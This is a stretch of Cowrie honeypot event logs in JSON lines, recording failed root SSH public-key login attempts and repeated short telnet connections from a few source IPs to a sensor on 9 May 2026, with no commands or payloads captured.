{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:e3:bb:d0:48:c9:17:3c:23:87:e7:79:31:f1:79:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlymJrZsFJSZ878qfrwoX7/F7kr/8ijBz9rOBZBfcQq36zH77tLCg8M/FNcmcMAHlgVuIsFW9YWoFhmBKtZphdYE0hlpwIvUeb0YAIMkBhlH+Zs8rYOgcM5rxtbWs1/oxlvJUd5fDB8FoZTKBEB4gr4Ufg+8UKzr7GXeEp9vGwRBZ+bMqaWi/WtFBtExORABsHj2hOvanoaniYaIAd8CJ10STjoraV5GumPJDH/bHYn13wDh2BwNkHRqeQYW2lSz/1VXh+u4rTb1pZzJThY4nvPBd9x+vFYNxkZFURQM7mMOLpayqMHAGJ9SAfKvszzeHXZhQM4Azk/XXf17q4His8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.888857Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:fa:a6:ea:20:44:0f:76:49:0b:7d:7c:19:50:a9:e5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHscmt5frQZodeInSN276P235R4Jt0MxfOQyUasXrPya","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 91:fa:a6:ea:20:44:0f:76:49:0b:7d:7c:19:50:a9:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.983365Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:fa:a6:ea:20:44:0f:76:49:0b:7d:7c:19:50:a9:e5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHscmt5frQZodeInSN276P235R4Jt0MxfOQyUasXrPya","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:43.986894Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:5a:b7:3f:94:59:82:9c:e1:5f:80:c3:76:8b:c6:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9srxZq2wQLJZm6SaCD4rY+EnVnpm+FxA9xL0Z9hkRKq7UKNxSDta/CXpbTmRNDymnfv30/9mrAO4fKjHPZVJKq6/lm68lU9dqXgvBD+0FfUIeyBEUBW7gR532lLAb0Jys5xmWW4+KL3D28hL37mEfWKfZpiKXWh20Su6kePg6jZ1qANA35RZUdJZBLXEB63hXyLWWUPxkCoi3OTrIkj1RYi4xM0PMWN3AoChpJ58wkSk5+toLCLclecgp/XCBisB7jcOSnOQI18qgi5xbyF6ipAYp07Udcj1DGMFJGho1W6D8MP9tjN0XhOwE0rm9amX1NUaMVRmvvCDH9Q10zKSJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:5a:b7:3f:94:59:82:9c:e1:5f:80:c3:76:8b:c6:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:44.078656Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:5a:b7:3f:94:59:82:9c:e1:5f:80:c3:76:8b:c6:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9srxZq2wQLJZm6SaCD4rY+EnVnpm+FxA9xL0Z9hkRKq7UKNxSDta/CXpbTmRNDymnfv30/9mrAO4fKjHPZVJKq6/lm68lU9dqXgvBD+0FfUIeyBEUBW7gR532lLAb0Jys5xmWW4+KL3D28hL37mEfWKfZpiKXWh20Su6kePg6jZ1qANA35RZUdJZBLXEB63hXyLWWUPxkCoi3OTrIkj1RYi4xM0PMWN3AoChpJ58wkSk5+toLCLclecgp/XCBisB7jcOSnOQI18qgi5xbyF6ipAYp07Udcj1DGMFJGho1W6D8MP9tjN0XhOwE0rm9amX1NUaMVRmvvCDH9Q10zKSJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:44.082026Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:c5:a3:71:95:c5:61:1f:0f:3e:ea:f5:0c:e1:96:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC73EdP7hMIBpTiylKP9tPUHCWKMZvDsXYPrwPFu48eTh7jVH7vbVjAoTsc6Y2gO5805pWT91MFbFJPnd8pAC9lfJuxoh9jtBRh9UQDXaZ9tEmPbhH6JtEh4BfujDVn20u+jXIBXGNA8DeeAW+aUdi6porbHJS7KrNxh1khHou1qqily7s8543mXRUncIT+DPJA70A2qZApMs3CD9aZJ161/ZLXxjWGQDLGGNg2pKkZ4o2XxkG3pfV4ttway4+fHNh4IYBM5Pvfoomfc4WUMcOOEyQK6IXvzzWGXH0GegCYfbdIhRJLM+DsmG/HZ0W+pP48Jh3+pbyV91FxpjIbh1cp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:c5:a3:71:95:c5:61:1f:0f:3e:ea:f5:0c:e1:96:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:44.173378Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:c5:a3:71:95:c5:61:1f:0f:3e:ea:f5:0c:e1:96:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC73EdP7hMIBpTiylKP9tPUHCWKMZvDsXYPrwPFu48eTh7jVH7vbVjAoTsc6Y2gO5805pWT91MFbFJPnd8pAC9lfJuxoh9jtBRh9UQDXaZ9tEmPbhH6JtEh4BfujDVn20u+jXIBXGNA8DeeAW+aUdi6porbHJS7KrNxh1khHou1qqily7s8543mXRUncIT+DPJA70A2qZApMs3CD9aZJ161/ZLXxjWGQDLGGNg2pKkZ4o2XxkG3pfV4ttway4+fHNh4IYBM5Pvfoomfc4WUMcOOEyQK6IXvzzWGXH0GegCYfbdIhRJLM+DsmG/HZ0W+pP48Jh3+pbyV91FxpjIbh1cp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:44.177661Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:44.269994Z","src_ip":"78.111.67.246","session":"8179541d5cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.45354986190796,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:48.587255Z","src_ip":"135.148.33.91","session":"3c4425679a3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52594,"dst_ip":"10.17.0.5","dst_port":23,"session":"1743243b6463","protocol":"telnet","message":"New connection: 45.58.127.90:52594 (10.17.0.5:23) [session: 1743243b6463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:50.006546Z"}
{"eventid":"cowrie.session.closed","duration":35.65570425987244,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:42:52.695527Z","src_ip":"135.148.33.91","session":"02d7b74b65d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45928,"dst_ip":"159.203.135.109","dst_port":23,"session":"c488f477a84a","protocol":"telnet","message":"New connection: 135.148.33.91:45928 (159.203.135.109:23) [session: c488f477a84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:03.162652Z"}
{"eventid":"cowrie.session.closed","duration":35.6306049823761,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:07.463982Z","src_ip":"135.148.33.91","session":"27e1b8a00241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53540,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1e6c20a4085","protocol":"telnet","message":"New connection: 135.148.33.91:53540 (159.203.135.109:23) [session: e1e6c20a4085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:09.425726Z"}
{"eventid":"cowrie.session.closed","duration":33.749683141708374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:15.941601Z","src_ip":"135.148.33.91","session":"1434162c9407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59514,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1b3207353bc","protocol":"telnet","message":"New connection: 135.148.33.91:59514 (159.203.135.109:23) [session: c1b3207353bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:20.119382Z"}
{"eventid":"cowrie.session.closed","duration":36.64712929725647,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:26.653583Z","src_ip":"45.58.127.90","session":"1743243b6463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97820019721985,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:37.140723Z","src_ip":"135.148.33.91","session":"c488f477a84a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.39353799819946,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:44.819147Z","src_ip":"135.148.33.91","session":"e1e6c20a4085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.0274817943573,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:43:58.146738Z","src_ip":"135.148.33.91","session":"c1b3207353bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56468,"dst_ip":"159.203.135.109","dst_port":23,"session":"2375f9d485e0","protocol":"telnet","message":"New connection: 135.148.33.91:56468 (159.203.135.109:23) [session: 2375f9d485e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:05.757669Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57768,"dst_ip":"159.203.135.109","dst_port":23,"session":"9426db02e506","protocol":"telnet","message":"New connection: 135.148.33.91:57768 (159.203.135.109:23) [session: 9426db02e506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:07.970148Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33324,"dst_ip":"159.203.135.109","dst_port":23,"session":"7beb22dc7dee","protocol":"telnet","message":"New connection: 135.148.33.91:33324 (159.203.135.109:23) [session: 7beb22dc7dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:13.398950Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43704,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d34c18b2efd","protocol":"telnet","message":"New connection: 135.148.33.91:43704 (159.203.135.109:23) [session: 2d34c18b2efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:30.173851Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46466,"dst_ip":"159.203.135.109","dst_port":23,"session":"484837e6fb50","protocol":"telnet","message":"New connection: 135.148.33.91:46466 (159.203.135.109:23) [session: 484837e6fb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:34.714119Z"}
{"eventid":"cowrie.session.closed","duration":32.33281207084656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:40.302868Z","src_ip":"135.148.33.91","session":"9426db02e506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77200245857239,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:40.529522Z","src_ip":"135.148.33.91","session":"2375f9d485e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51608,"dst_ip":"159.203.135.109","dst_port":23,"session":"2779d21c5d54","protocol":"telnet","message":"New connection: 135.148.33.91:51608 (159.203.135.109:23) [session: 2779d21c5d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:42.948798Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54640,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc190c8867d","protocol":"telnet","message":"New connection: 135.148.33.91:54640 (159.203.135.109:23) [session: 3dc190c8867d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:48.890161Z"}
{"eventid":"cowrie.session.closed","duration":36.60863184928894,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:50.007483Z","src_ip":"135.148.33.91","session":"7beb22dc7dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32820,"dst_ip":"159.203.135.109","dst_port":23,"session":"407b9c280254","protocol":"telnet","message":"New connection: 135.148.33.91:32820 (159.203.135.109:23) [session: 407b9c280254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:44:59.456293Z"}
{"eventid":"cowrie.session.closed","duration":34.765785217285156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:45:04.939506Z","src_ip":"135.148.33.91","session":"2d34c18b2efd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52333426475525,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:45:08.237334Z","src_ip":"135.148.33.91","session":"484837e6fb50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.02314639091492,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:45:18.971822Z","src_ip":"135.148.33.91","session":"2779d21c5d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65527272224426,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:45:21.545344Z","src_ip":"135.148.33.91","session":"3dc190c8867d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.606401443481445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:45:33.062561Z","src_ip":"135.148.33.91","session":"407b9c280254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53038,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a18d9ec8966","protocol":"telnet","message":"New connection: 135.148.33.91:53038 (159.203.135.109:23) [session: 3a18d9ec8966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:45:40.668239Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42534,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d50ec42775","protocol":"telnet","message":"New connection: 135.148.33.91:42534 (159.203.135.109:23) [session: 73d50ec42775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:03.943375Z"}
{"eventid":"cowrie.session.closed","duration":31.64263653755188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:12.310701Z","src_ip":"135.148.33.91","session":"3a18d9ec8966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52548,"dst_ip":"159.203.135.109","dst_port":23,"session":"3634ba6378ce","protocol":"telnet","message":"New connection: 135.148.33.91:52548 (159.203.135.109:23) [session: 3634ba6378ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:20.717378Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55078,"dst_ip":"159.203.135.109","dst_port":23,"session":"909caf020005","protocol":"telnet","message":"New connection: 135.148.33.91:55078 (159.203.135.109:23) [session: 909caf020005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:25.949213Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60650,"dst_ip":"159.203.135.109","dst_port":23,"session":"90734259f870","protocol":"telnet","message":"New connection: 135.148.33.91:60650 (159.203.135.109:23) [session: 90734259f870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:34.334944Z"}
{"eventid":"cowrie.session.closed","duration":35.16383981704712,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:39.107094Z","src_ip":"135.148.33.91","session":"73d50ec42775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76714062690735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:54.484409Z","src_ip":"135.148.33.91","session":"3634ba6378ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76604413986206,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:58.715146Z","src_ip":"135.148.33.91","session":"909caf020005","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47422,"dst_ip":"159.203.135.109","dst_port":23,"session":"690f914cc9a4","protocol":"telnet","message":"New connection: 135.148.33.91:47422 (159.203.135.109:23) [session: 690f914cc9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:46:59.263362Z"}
{"eventid":"cowrie.session.closed","duration":35.03870630264282,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:47:09.373551Z","src_ip":"135.148.33.91","session":"90734259f870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60504,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdafb1d3a4d5","protocol":"telnet","message":"New connection: 135.148.33.91:60504 (159.203.135.109:23) [session: bdafb1d3a4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:47:21.526376Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33936,"dst_ip":"159.203.135.109","dst_port":23,"session":"c41649fa40af","protocol":"telnet","message":"New connection: 135.148.33.91:33936 (159.203.135.109:23) [session: c41649fa40af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:47:27.118464Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":41216,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe0f042aa6c","protocol":"telnet","message":"New connection: 104.140.145.149:41216 (159.203.135.109:23) [session: dfe0f042aa6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:47:28.872725Z"}
{"eventid":"cowrie.session.closed","duration":32.589882612228394,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:47:31.853112Z","src_ip":"135.148.33.91","session":"690f914cc9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.72395730018616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:47:55.250053Z","src_ip":"135.148.33.91","session":"bdafb1d3a4d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.532355546951294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:47:58.650672Z","src_ip":"135.148.33.91","session":"c41649fa40af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32876,"dst_ip":"159.203.135.109","dst_port":23,"session":"7629412dc04e","protocol":"telnet","message":"New connection: 135.148.33.91:32876 (159.203.135.109:23) [session: 7629412dc04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:08.268733Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.193.6","src_port":40896,"dst_ip":"10.17.0.5","dst_port":23,"session":"a49b73fda173","protocol":"telnet","message":"New connection: 45.142.193.6:40896 (10.17.0.5:23) [session: a49b73fda173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:11.009325Z"}
{"eventid":"cowrie.session.closed","duration":12.088007926940918,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:23.097208Z","src_ip":"45.142.193.6","session":"a49b73fda173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43740,"dst_ip":"159.203.135.109","dst_port":23,"session":"f088a1ec9bb0","protocol":"telnet","message":"New connection: 135.148.33.91:43740 (159.203.135.109:23) [session: f088a1ec9bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:26.451194Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47344,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d37523e3d59","protocol":"telnet","message":"New connection: 135.148.33.91:47344 (159.203.135.109:23) [session: 6d37523e3d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:32.440335Z"}
{"eventid":"cowrie.session.closed","duration":63.74295902252197,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:32.615582Z","src_ip":"104.140.145.149","session":"dfe0f042aa6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05116677284241,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:43.319799Z","src_ip":"135.148.33.91","session":"7629412dc04e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56174,"dst_ip":"159.203.135.109","dst_port":23,"session":"50de30dc0125","protocol":"telnet","message":"New connection: 135.148.33.91:56174 (159.203.135.109:23) [session: 50de30dc0125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:48.576045Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58710,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b2a968aa30f","protocol":"telnet","message":"New connection: 135.148.33.91:58710 (159.203.135.109:23) [session: 1b2a968aa30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:48:51.799991Z"}
{"eventid":"cowrie.session.closed","duration":34.652911901474,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:01.103991Z","src_ip":"135.148.33.91","session":"f088a1ec9bb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36004,"dst_ip":"159.203.135.109","dst_port":23,"session":"001f95e8f9e2","protocol":"telnet","message":"New connection: 135.148.33.91:36004 (159.203.135.109:23) [session: 001f95e8f9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:02.123109Z"}
{"eventid":"cowrie.session.closed","duration":34.6642644405365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:07.104493Z","src_ip":"135.148.33.91","session":"6d37523e3d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.164207220077515,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:23.740119Z","src_ip":"135.148.33.91","session":"50de30dc0125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.33304023742676,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:28.132910Z","src_ip":"135.148.33.91","session":"1b2a968aa30f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52652,"dst_ip":"159.203.135.109","dst_port":23,"session":"b17b5c79e25e","protocol":"telnet","message":"New connection: 135.148.33.91:52652 (159.203.135.109:23) [session: b17b5c79e25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:31.773122Z"}
{"eventid":"cowrie.session.closed","duration":33.28513145446777,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:35.408117Z","src_ip":"135.148.33.91","session":"001f95e8f9e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34614,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4466f23ea83","protocol":"ssh","message":"New connection: 87.251.64.176:34614 (10.17.0.5:22) [session: f4466f23ea83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:39.402643Z"}
